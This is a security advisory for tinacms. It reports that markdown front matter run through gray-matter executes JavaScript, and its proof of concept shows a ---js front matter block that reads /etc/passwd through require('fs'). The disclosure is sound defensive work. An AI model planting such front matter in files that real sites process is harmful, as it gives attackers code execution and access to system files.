Vulnerability GHSA-529f-9qwm-9628

Summary

tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.

Details

The gray-matter package executes by default the code in the markdown file's front matter. tinacms does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.

PoC

1. Create a tinacms app using the cli/documentation:

npx create-tina-app@latest

1. Modify one of the blog posts to contain the following front matter:

---js
{
  "title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString())
}